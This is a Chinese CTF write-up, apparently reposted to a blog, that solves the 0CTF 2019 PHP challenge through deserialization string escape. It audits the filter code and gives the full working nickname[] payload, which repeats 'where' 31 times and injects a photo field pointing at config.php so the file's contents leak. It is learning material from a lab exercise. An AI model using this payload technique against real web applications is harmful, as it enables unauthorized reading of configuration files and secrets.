0ctf 反序列化逃逸复现

2019-07-08 约 215 字 预计阅读 2 分钟

声明:本文 【0ctf 反序列化逃逸复现】 由作者 p1k**** 于 2019-07-08 09:00:00 首发 先知社区 曾经 浏览数 117 次

感谢 p1k**** 的辛苦付出!

小白第一次写文章,还请各位大佬多多指教

0x1 知识点

先来看一下这道题需要的知识点


数组可以绕过strlen的长度限制

$a=$_GET['a'];
var_dump($a);
$c=strlen($a);
var_dump($c);
?>


当反序列化到足够的长度时,后面的数据会被扔掉

<?php
$a=$_GET['a'];
$result=unserialize($a);
var_dump($result);
?>


0x2 分析

知道了上面的这些东西后,我们再来看这道题
扫描目录,发现www.zip
拿到源码,审计源代码
在class.php看到有个mysql类,感觉可能和sql注入有关,看到下面发现有个filter函数把select、update等给替换了,于是感觉不太可能是注入了。继续往下看

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

在config.php中看到有flag变量,那么这道题应该就是读取这个文件,拿到flag

继续往下看,在profile.php文件内,看到两个敏感函数,file_get_contents和unserialize,这道题可能和反序列化有关,并且profile.php会把页面的反序列化之后的结果显示出来,那么我们可以利用file_get_content把config.php读取出来,然后base64编码一下,就可以把config.php的内容输出出来。

$profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));

我们再去看看profile变量是哪里来的,在update.php文件中,发现了profile变量

$profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));

再去看看从update.php到profile.php的过程中,profile变量经过了那些过程,
有一个update_profile($username, serialize($profile))。
跟进一下这个函数,

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

发现这个函数调用了filter函数,这个函数不是过滤的那个函数吗,难道这条路线也凉了???

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

发现前面那四个是增删改查,最后一个where和前面的有点不一样啊。。。
这时看了一下where和hacker发现两者的字符数量不同,而且前面那四个关键词的字符数量和hacker都是一样的,然后去网上查了一下资料发现,反序列化不仅有pop链的问题,还有逃逸字符的问题。
那么这题就很明显了,通过把where替换为hacker把我们的config.php逃逸出来。


现在问题来了,我们使用那个参数搭载payload呢???
一共有四个参数,通过对比我们发现,phone,email,nickname有WAF检测,photo是一个文件,但是nickname有点不一样,先是一个正则限制然后是一个长度限制,长度限制好说可以用数组绕过,这里有一个小trick,or运算符,前面的条件判断为true时,后面的表达式不会执行,为flase时,后面的表达式才会执行。所以现在条件变成了,让preg_match返回flase,使用数组绕过strlen的长度判断,当preg_match处理数组时,会报错,正合我意,一个数组可以绕过两个条件的判断。
先看一下我们构造的读取文件的语句有多长
";}s:5:"photo";s:10:"config.php

>>> len('";}s:5:"photo";s:10:"config.php')
31

一个where被替换为hacker,可以逃逸一个字符我们一共有31个字符,所以需要31个where。

>>> 'where'*31
'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere'

所以payload:
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

经过序列化之后的结果为

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:186:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:7:"upload/";}

在经过替换

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:186:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:7:"upload/";}

一共31个hacker正好186个字符,这样就使我们的这个s:5:"photo";s:10:"config.php";被当作数组中的photo元素给反序列化了。因为到这里已经反序列化完毕,所以最后的s:5:"photo";s:7:"upload/";}就被扔掉了。


0x3 利用

解题过程如下:
我们先去register.php注册一个账号,登陆
进入到update.php界面 参数改为一下内容,抓包,把nickname改为数组


然后去访问profile.php,查看源码,base64解码一下就拿到flag了。

0x4 反思

这道题最难受的还是在代码审计上,代码审计能力太差了。。。。。一定要好好的练练代码审计。

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now